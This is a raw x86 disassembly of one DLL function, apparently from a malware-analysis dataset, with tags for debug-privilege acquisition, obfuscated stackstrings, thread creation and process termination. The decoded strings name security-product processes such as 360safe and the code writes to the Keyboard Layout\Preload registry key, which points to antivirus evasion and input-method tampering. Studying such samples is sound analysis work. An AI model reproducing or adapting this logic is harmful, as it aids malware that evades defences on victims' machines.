Function at 0x100014b0
Capabilities:
Acquire debug privileges
Contain obfuscated stackstrings
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x164
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
xor edi, edi
sub eax, edi
je 0x10001b6b
dec eax
jne 0x10001b77
mov esi, dword [ebp + 8]
push esi
call fcn.10001ed0
add esp, 4
test eax, eax
jne 0x100014e9
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push esi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push 1
push str.SeDebugPrivilege
call fcn.10007e90
mov bl, 0x65
mov al, 0x78
mov byte [ebp - 0x50], 0x33
mov byte [ebp - 0x4f], 0x36
mov byte [ebp - 0x4e], 0x30
mov byte [ebp - 0x4d], 0x73
mov byte [ebp - 0x4c], 0x61
mov byte [ebp - 0x4b], 0x66
mov byte [ebp - 0x4a], bl
mov byte [ebp - 0x49], 0
mov byte [ebp - 0x30], 0x77
mov byte [ebp - 0x2f], 0x64
mov byte [ebp - 0x2e], 0x6d
mov byte [ebp - 0x2d], 0x61
mov byte [ebp - 0x2c], 0x69
mov byte [ebp - 0x2b], 0x6e
mov byte [ebp - 0x60], bl
mov byte [ebp - 0x5f], al
mov byte [ebp - 0x5e], 0x70
mov byte [ebp - 0x5d], 0x6c
mov byte [ebp - 0x5c], 0x6f
mov byte [ebp - 0x5b], 0x72
mov byte [ebp - 0x5a], bl
mov byte [ebp - 0x59], 0x72
mov byte [ebp - 0x58], 0x2e
mov byte [ebp - 0x57], bl
mov byte [ebp - 0x56], al
mov byte [ebp - 0x55], bl
mov byte [ebp - 0x54], 0
mov byte [ebp - 0x38], 0x72
mov byte [ebp - 0x37], 0x73
mov byte [ebp - 0x36], 0x6d
mov byte [ebp - 0x35], 0x61
mov byte [ebp - 0x34], 0x69
mov byte [ebp - 0x33], 0x6e
mov byte [ebp - 0x32], 0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x104
push 0x10027a70
push esi
call fcn.10002e70
add esp, 0x14
push 0x10027a70
push 0x1002796c
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x164]
push 0x104
push eax
push edi
call fcn.10002e70
add esp, 0xc
lea ecx, [ebp - 0x60]
lea edx, [ebp - 0x164]
push ecx
push edx
call sub.MSVCRT.dll__strlwr
add esp, 4
push eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x10001631
nop
nop
nop
nop
nop
nop
push edi
push 0x1002787c
push 0x1002787c
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
push edi
call fcn.1000a0f0
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push edi
push edi
push 0x100011b0
push edi
push edi
call esi
push edi
push edi
push edi
push 0x100079c0
push edi
push edi
call esi
lea eax, [ebp - 0x50]
lea ecx, [ebp - 0x164]
push eax
push ecx
call sub.MSVCRT.dll__strlwr
add esp, 4
push eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x100019f8
lea edx, [ebp - 0x30]
lea eax, [ebp - 0x164]
push edx
push eax
call sub.MSVCRT.dll__strlwr
add esp, 4
push eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x100019f8
lea ecx, [ebp - 0x38]
lea edx, [ebp - 0x164]
push ecx
push edx
call sub.MSVCRT.dll__strlwr
add esp, 4
push eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x100019f8
mov byte [ebp - 0x41], al
mov byte [ebp - 0x39], al
lea eax, [ebp - 0x48]
lea ecx, [ebp - 0x164]
push eax
push ecx
mov byte [ebp - 0x48], 0x33
mov byte [ebp - 0x47], 0x36
mov byte [ebp - 0x46], 0x30
mov byte [ebp - 0x45], 0x73
mov byte [ebp - 0x44], 0x73
mov byte [ebp - 0x43], 0x66
mov byte [ebp - 0x42], bl
mov byte [ebp - 0x40], 0x62
mov byte [ebp - 0x3f], 0x75
mov byte [ebp - 0x3e], 0x67
mov byte [ebp - 0x3d], 0x72
mov byte [ebp - 0x3c], bl
mov byte [ebp - 0x3b], 0x70
mov byte [ebp - 0x3a], 0x6f
call sub.MSVCRT.dll__strlwr
add esp, 4
push eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x10001864
lea edx, [ebp - 0x10]
mov dword [ebp + 8], edi
push edx
push 0x10027a70
mov byte [ebp - 0x10], 0x63
mov byte [ebp - 0xf], 0x68
mov byte [ebp - 0xe], 0x69
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], bl
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], bl
mov byte [ebp - 9], 0x28
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x69
mov byte [ebp - 6], 0x6d
mov byte [ebp - 5], 0x70
mov byte [ebp - 4], 0x6c
mov byte [ebp - 3], bl
mov byte [ebp - 2], 0x29
mov byte [ebp - 1], 0
call fcn.10002d80
push 0xc8
mov dword [ebp + 8], eax
call fcn.10002860
mov eax, dword [ebp + 8]
add esp, 0xc
cmp eax, edi
je 0x10001852
push edi
push eax
call fcn.10002a40
push 0x10027b78
call fcn.10002c20
push edi
mov esi, eax
call fcn.10002af0
push edi
push eax
call fcn.10002a40
add esp, 0x18
cmp esi, edi
je 0x10001841
mov al, 0x79
lea ecx, [ebp - 0x28]
mov byte [ebp - 0x26], al
mov byte [ebp - 0x1d], al
lea eax, [ebp + 0xc]
mov byte [ebp - 0x28], 0x4b
push eax
push 0xf003f
push edi
push ecx
push 0x80000001
mov byte [ebp - 0x27], bl
mov byte [ebp - 0x25], 0x62
mov byte [ebp - 0x24], 0x6f
mov byte [ebp - 0x23], 0x61
mov byte [ebp - 0x22], 0x72
mov byte [ebp - 0x21], 0x64
mov byte [ebp - 0x20], 0x20
mov byte [ebp - 0x1f], 0x4c
mov byte [ebp - 0x1e], 0x61
mov byte [ebp - 0x1c], 0x6f
mov byte [ebp - 0x1b], 0x75
mov byte [ebp - 0x1a], 0x74
mov byte [ebp - 0x19], 0x5c
mov byte [ebp - 0x18], 0x50
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], bl
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], 0x6f
mov byte [ebp - 0x13], 0x61
mov byte [ebp - 0x12], 0x64
mov byte [ebp - 0x11], 0
call fcn.10002420
add esp, 0x14
test eax, eax
jne 0x10001832
mov edx, dword [ebp + 0xc]
push 0xc
push 0x10027b78
push 1
push edi
push 0x1002786c
push edx
call fcn.100024b0
mov eax, dword [ebp + 0xc]
push eax
call fcn.100023b0
add esp, 0x1c
push 8
push 0x10027b78
call fcn.10002b80
add esp, 8
lea ecx, [ebp + 8]
push 2
push ecx
push edi
push 0x5a
call fcn.10002cd0
add esp, 0x10
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea edx, [ebp - 0x40]
lea eax, [ebp - 0x164]
push edx
push eax
call sub.MSVCRT.dll__strlwr
add esp, 4
push eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x10001b77
lea ecx, [ebp - 0x10]
mov dword [ebp + 8], edi
push ecx
push 0x10027a70
mov byte [ebp - 0x10], 0x63
mov byte [ebp - 0xf], 0x68
mov byte [ebp - 0xe], 0x69
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], bl
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], bl
mov byte [ebp - 9], 0x28
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x69
mov byte [ebp - 6], 0x6d
mov byte [ebp - 5], 0x70
mov byte [ebp - 4], 0x6c
mov byte [ebp - 3], bl
mov byte [ebp - 2], 0x29
mov byte [ebp - 1], 0
call fcn.10002d80
push 0xc8
mov dword [ebp + 8], eax
call fcn.10002860
mov eax, dword [ebp + 8]
add esp, 0xc
cmp eax, edi
je 0x100019dd
push edi
push eax
call fcn.10002a40
push 0x10027b78
call fcn.10002c20
push edi
mov esi, eax
call fcn.10002af0
push edi
push eax
call fcn.10002a40
add esp, 0x18
cmp esi, edi
je 0x100019cc
mov al, 0x79
lea edx, [ebp + 0xc]
mov byte [ebp - 0x26], al
mov byte [ebp - 0x1d], al
push edx
push 0xf003f
lea eax, [ebp - 0x28]
push edi
push eax
push 0x80000001
mov byte [ebp - 0x28], 0x4b
mov byte [ebp - 0x27], bl
mov byte [ebp - 0x25], 0x62
mov byte [ebp - 0x24], 0x6f
mov byte [ebp - 0x23], 0x61
mov byte [ebp - 0x22], 0x72
mov byte [ebp - 0x21], 0x64
mov byte [ebp - 0x20], 0x20
mov byte [ebp - 0x1f], 0x4c
mov byte [ebp - 0x1e], 0x61
mov byte [ebp - 0x1c], 0x6f
mov byte [ebp - 0x1b], 0x75
mov byte [ebp - 0x1a], 0x74
mov byte [ebp - 0x19], 0x5c
mov byte [ebp - 0x18], 0x50
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], bl
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], 0x6f
mov byte [ebp - 0x13], 0x61
mov byte [ebp - 0x12], 0x64
mov byte [ebp - 0x11], 0
call fcn.10002420
add esp, 0x14
test eax, eax
jne 0x100019bd
mov ecx, dword [ebp + 0xc]
push 0xc
push 0x10027b78
push 1
push edi
push 0x1002786c
push ecx
call fcn.100024b0
mov edx, dword [ebp + 0xc]
push edx
call fcn.100023b0
add esp, 0x1c
push 8
push 0x10027b78
call fcn.10002b80
add esp, 8
lea eax, [ebp + 8]
push 2
push eax
push edi
push 0x5a
call fcn.10002cd0
add esp, 0x10
push edi
call fcn.1000a0f0
add esp, 4
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x10]
mov dword [ebp + 8], edi
push ecx
push 0x10027a70
mov byte [ebp - 0x10], 0x63
mov byte [ebp - 0xf], 0x68
mov byte [ebp - 0xe], 0x69
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], bl
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], bl
mov byte [ebp - 9], 0x28
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x69
mov byte [ebp - 6], 0x6d
mov byte [ebp - 5], 0x70
mov byte [ebp - 4], 0x6c
mov byte [ebp - 3], bl
mov byte [ebp - 2], 0x29
mov byte [ebp - 1], 0
call fcn.10002d80
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 8
mov dword [ebp + 8], eax
push 0x64
call edi
mov eax, dword [ebp + 8]
test eax, eax
je 0x10001b52
push 0
push eax
call fcn.10002a40
push 0x10027b78
call fcn.10002c20
push 0
mov esi, eax
call fcn.10002af0
push 0
push eax
call fcn.10002a40
add esp, 0x18
test esi, esi
je 0x10001b40
mov al, 0x79
lea edx, [ebp + 0xc]
mov byte [ebp - 0x26], al
mov byte [ebp - 0x1d], al
push edx
push 0xf003f
lea eax, [ebp - 0x28]
push 0
push eax
push 0x80000001
mov byte [ebp - 0x28], 0x4b
mov byte [ebp - 0x27], bl
mov byte [ebp - 0x25], 0x62
mov byte [ebp - 0x24], 0x6f
mov byte [ebp - 0x23], 0x61
mov byte [ebp - 0x22], 0x72
mov byte [ebp - 0x21], 0x64
mov byte [ebp - 0x20], 0x20
mov byte [ebp - 0x1f], 0x4c
mov byte [ebp - 0x1e], 0x61
mov byte [ebp - 0x1c], 0x6f
mov byte [ebp - 0x1b], 0x75
mov byte [ebp - 0x1a], 0x74
mov byte [ebp - 0x19], 0x5c
mov byte [ebp - 0x18], 0x50
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], bl
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], 0x6f
mov byte [ebp - 0x13], 0x61
mov byte [ebp - 0x12], 0x64
mov byte [ebp - 0x11], 0
call fcn.10002420
add esp, 0x14
test eax, eax
jne 0x10001b31
mov ecx, dword [ebp + 0xc]
push 0xc
push 0x10027b78
push 1
push eax
push 0x1002786c
push ecx
call fcn.100024b0
mov edx, dword [ebp + 0xc]
push edx
call fcn.100023b0
add esp, 0x1c
push 8
push 0x10027b78
call fcn.10002b80
add esp, 8
lea eax, [ebp + 8]
push 2
push eax
push 0
push 0x5a
call fcn.10002cd0
add esp, 0x10
push 0
call fcn.1000a0f0
add esp, 4
push 0x1770
call edi
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp + 8]
push ecx
call fcn.10001f40
add esp, 4
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 0xc